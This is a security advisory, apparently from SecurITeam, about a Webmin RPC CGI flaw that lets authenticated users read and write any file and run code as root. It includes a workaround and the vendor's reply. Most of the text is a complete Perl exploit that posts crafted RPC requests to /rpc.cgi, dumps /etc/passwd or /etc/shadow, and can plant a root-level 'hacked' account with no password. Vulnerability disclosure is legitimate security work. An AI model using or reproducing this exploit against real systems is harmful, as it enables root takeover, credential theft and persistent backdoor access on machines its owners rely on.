idefense.webmin.txt

`Reference: http://www.securiteam.com/unixfocus/5CP0R1P80G.html  
  
  
Webmin Vulnerability Leads to Remote Compromise (RPC CGI)  
------------------------------------------------------------------------  
  
  
SUMMARY  
  
<http://www.webmin.com> Webmin is a web-based interface for system   
administration for Linux/UNIX. Using any browser that supports tables  
and   
forms (and Java for the File Manager module) you can setup user  
accounts,   
Apache, DNS, file sharing and so on. A security vulnerability in the   
product allows remote attackers to cause the execution of arbitrary   
commands and read any files on the system (with root permissions).  
  
DETAILS  
  
Vulnerable systems:  
* Webmin version 0.921 and above (requires regular user access)  
* Webmin version 0.92 and below (no special user required)  
  
Technical details:  
The CGI that handles remote_foreign_require and remote_foreign_call   
requests from other Webmin servers contains inadequate permission  
checks.   
Access to the CGI is determined by the 'rpc' value in the   
/usr/libexec/webmin/defaultacl. This value can be '1' or '2'. If '2' is   
set, only the 'admin' user, or root are allowed access. Otherwise,  
anyone   
is allowed to access the CGI. Access to this CGI would allow an attacker  
  
any of the following functions:  
  
1) 'quit' - as the name says, it terminates the current RPC session.  
2) 'require' - forces the current RPC session to load a library/module   
file.  
3) 'call' - execute a Perl or Webmin function.  
4) 'eval' - evaluates a Perl code (executes it).  
5) 'ping' - responds with an "OK" reply.  
6) 'check' - checks whether a certain library/module is supported.  
7) 'config' - display the current configuration of RPC.  
8) 'write' - write a file with the provided data.  
9) 'read' - read a file and return the data it contains.  
  
Utilizing the 'read' and 'write' actions a remote attacker can read or   
write to any file that is present on the system. This specifically   
includes /etc/passwd and /etc/shadow. Access to any file is possible   
because the Webmin server runs as root, and does not drop privileges  
prior   
to running those two functions. Unitizing the 'eval' function, it is   
possible to cause the execution of arbitrary commands with root   
privileges.  
  
Because of the way the RPC communication is done, the attached exploit   
code is needed in order to perform the above actions.  
  
Impact:  
Since in many Webmin installations the Webmin admin is a non-root user,  
by   
exploiting the vulnerability an attacker is able to gain root privileges  
  
and compromise the machine.  
  
Workaround:  
Modify the defaultacl file to:  
rpc=0  
  
This is a non-valid solution for organizations handling multiple Webmin   
servers from a centralized one (remote control usage).  
  
NOTE: This of course does not prevent the vulnerability, but rather   
disables some functionality to stop it from working.  
  
Perquisite:  
Since access to the CGI is required, valid authentication is required.  
  
Vendor response:  
The vendor has responded with the following statement:  
That's not really a bug, because in standard webmin installs the 'admin'  
  
or 'root' use has access to all modules with all privileges, which is   
equivalent to having a root login. However, if on your client's systems   
the 'admin' user has lesser privileges then it would be a security   
problem, and I think a release to tell people about it would be good  
idea.   
  
  
Instead of changing the defaultacl file (which will be overwritten by  
the   
next upgrade), you can go into the Webmin Users module, click on Global   
ACL next to the admin user and change the 'Can make RPC calls?' option  
to   
No. I wouldn't want to change the defaultacl file in the standard webmin  
  
distribution, as this would stop RPC from working unless it was  
explicitly   
allowed.   
  
Exploit:  
#!/usr/bin/perl  
# urlize  
# Convert a string to a form ok for putting in a URL  
sub urlize {  
local $rv = $_[0];  
$rv =~ s/([^A-Za-z0-9])/sprintf("%%%2.2X", ord($1))/ge;  
return $rv;  
  
}  
  
# un_urlize(string)  
# Converts a URL-encoded string to the original  
sub un_urlize  
{  
local $rv = $_[0];  
$rv =~ s/\+/ /g;  
$rv =~ s/%(..)/pack("c",hex($1))/ge;  
return $rv;  
}  
  
# serialise_variable(variable)  
# Converts some variable (maybe a scalar, hash ref, array ref or scalar   
ref)  
# into a url-encoded string  
sub serialise_variable  
{  
if (!defined($_[0])) {  
return 'UNDEF';  
}  
local $r = ref($_[0]);  
local $rv;  
if (!$r) {  
$rv = &urlize($_[0]);  
}  
elsif ($r eq 'SCALAR') {  
$rv = &urlize(${$_[0]});  
}  
elsif ($r eq 'ARRAY') {  
$rv = join(",", map { &urlize(&serialise_variable($_)) }   
@{$_[0]});  
}  
elsif ($r eq 'HASH') {  
$rv = join(",", map { &urlize(&serialise_variable($_)).",".  
&urlize(&serialise_variable($_[0]->{$_}))  
}  
keys %{$_[0]});  
}  
elsif ($r eq 'REF') {  
$rv = &serialise_variable(${$_[0]});  
}  
return ($r ? $r : 'VAL').",".$rv;  
}  
  
# unserialise_variable(string)  
# Converts a string created by serialise_variable() back into the  
original  
# scalar, hash ref, array ref or scalar ref.  
sub unserialise_variable  
{  
local @v = split(/,/, $_[0]);  
local ($rv, $i);  
if ($v[0] eq 'VAL') {  
$rv = &un_urlize($v[1]);  
}  
elsif ($v[0] eq 'SCALAR') {  
local $r = &un_urlize($v[1]);  
$rv = \$r;  
}  
elsif ($v[0] eq 'ARRAY') {  
$rv = [ ];  
for($i=1; $i<@v; $i++) {  
push(@$rv, &unserialise_variable(&un_urlize($v[$i])));  
}  
}  
elsif ($v[0] eq 'HASH') {  
$rv = { };  
for($i=1; $i<@v; $i+=2) {  
$rv->{&unserialise_variable(&un_urlize($v[$i]))} =  
&unserialise_variable(&un_urlize($v[$i+1]));  
}  
}  
elsif ($v[0] eq 'REF') {  
local $r = &unserialise_variable($v[1]);  
$rv = \$r;  
}  
elsif ($v[0] eq 'UNDEF') {  
$rv = undef;  
}  
return $rv;  
}  
  
# encode_base64(string)  
# Encodes a string into base64 format  
sub encode_base64  
{  
local $res;  
pos($_[0]) = 0; # ensure start at the beginning  
while ($_[0] =~ /(.{1,45})/gs) {  
$res .= substr(pack('u', $1), 1)."\n";  
chop($res);  
}  
$res =~ tr|\` -_|AA-Za-z0-9+/|;  
local $padding = (3 - length($_[0]) % 3) % 3;  
$res =~ s/.{$padding}$/'=' x $padding/e if ($padding);  
return $res;  
}  
  
use Socket;  
if ($#ARGV<6) {die "Usage: exploit.pl proxyIP proxyPort remoteIP   
remotePort username password command_interface  
command interface should equal one of these:  
1 - read file /etc/passwd  
2 - read file /etc/shadow  
3 - insert into file /etc/passwd (\"hacked:x:0:0:root:/root:/bin/bash\")  
4 - insert into file /etc/shadow (\"hacked::0:99999:7:-1:-1:134538548\")  
";}  
  
$username = $ARGV[4];  
$password = $ARGV[5];  
  
$proxyPort = $ARGV[1];  
$proxyIP = $ARGV[0];  
  
$remoteIP = $ARGV[2];  
$remotePort = $ARGV[3];  
$command_interface = $ARGV[6];  
  
$target = inet_aton($proxyIP);  
$paddr = sockaddr_in($proxyPort, $target);  
  
print "Connecting to: $proxyIP:$proxyPort, with the following user:   
$username and password: $password. Hacking server:   
$remoteIP:$remotePort\n";  
  
$auth = &encode_base64("$username:$password");  
$auth =~ s/\n//g;  
  
if (($command_interface eq 1) || ($command_interface eq 3))  
{  
$d = { 'action' => 'read', 'file' => "/etc/passwd", 'session' => "0"};  
}  
if (($command_interface eq 2) || ($command_interface eq 4))  
{  
$d = { 'action' => 'read', 'file' => "/etc/shadow", 'session' => "0"};  
}  
  
$tostr = &serialise_variable($d);  
$lengthstr = length($tostr);  
  
$request = "POST /rpc.cgi HTTP/1.1  
Host: $remoteIP:$remotePort  
User-agent: Webmin  
Authorization: basic $auth  
Content-Length: $lengthstr  
  
$tostr";  
  
print "Sending:\n---\n$request\n---\n";  
  
$proto = getprotobyname('tcp');  
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");  
  
connect(S, $paddr) || die "connect: $!";  
  
select(S); $|=1; # print $pstr;  
print $request;  
  
$found = 0;  
while(<S>)  
{  
if (($found == 1) || (/^\r\n/))  
{  
if ($found == 0)  
{  
$found = 1;  
}  
else  
{  
$in = join ("", $in, $_);  
}  
}  
}  
select(STDOUT);  
  
print "Raw:\n---\n$in\n---\n";  
  
print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'},   
"\n---\n";  
  
close(S);  
  
if ($command_interface eq 3)  
{  
$d = { 'action' => 'write', 'data'=>join("",   
unserialise_variable($in)->{'rv'},  
"hacked:x:0:0:root:/root:/bin/bash\n"),   
'file' => "/etc/passwd", 'session' => "0"};  
}  
if ($command_interface eq 4)  
{  
$d = { 'action' => 'write', 'data'=>join("",   
unserialise_variable($in)->{'rv'},  
"hacked::0:99999:7:-1:-1:134538548\n"),   
'file' => "/etc/shadow", 'session' => "0"};  
}  
  
$tostr = &serialise_variable($d);  
$lengthstr = length($tostr);  
  
$request = "POST /rpc.cgi HTTP/1.1  
Host: $remoteIP:$remotePort  
User-agent: Webmin  
Authorization: basic $auth  
Content-Length: $lengthstr  
  
$tostr";  
  
print "Sending:\n---\n$request\n---\n";  
  
$proto = getprotobyname('tcp');  
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");  
  
connect(S, $paddr) || die "connect: $!";  
  
select(S); $|=1; # print $pstr;  
print $request;  
  
$found = 0;  
while(<S>)  
{  
if (($found == 1) || (/^\r\n/))  
{  
if ($found == 0)  
{  
$found = 1;  
}  
else  
{  
$in = join ("", $in, $_);  
}  
}  
}  
  
select(STDOUT);  
  
print "Raw:\n---\n$in\n---\n";  
  
print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'},   
"\n---\n";  
  
close(S);  
  
# --- EOF ---  
  
  
ADDITIONAL INFORMATION  
  
The information has been provided by <mailto:[email protected]>   
Noam Rathaus of SecurITeam.  
  
  
  
====================   
====================   
  
DISCLAIMER:   
The information in this bulletin is provided "AS IS" without warranty of  
any kind.   
In no event shall we be liable for any damages whatsoever including  
direct, indirect, incidental, consequential, loss of business profits or  
special damages.   
  
  
  
  
`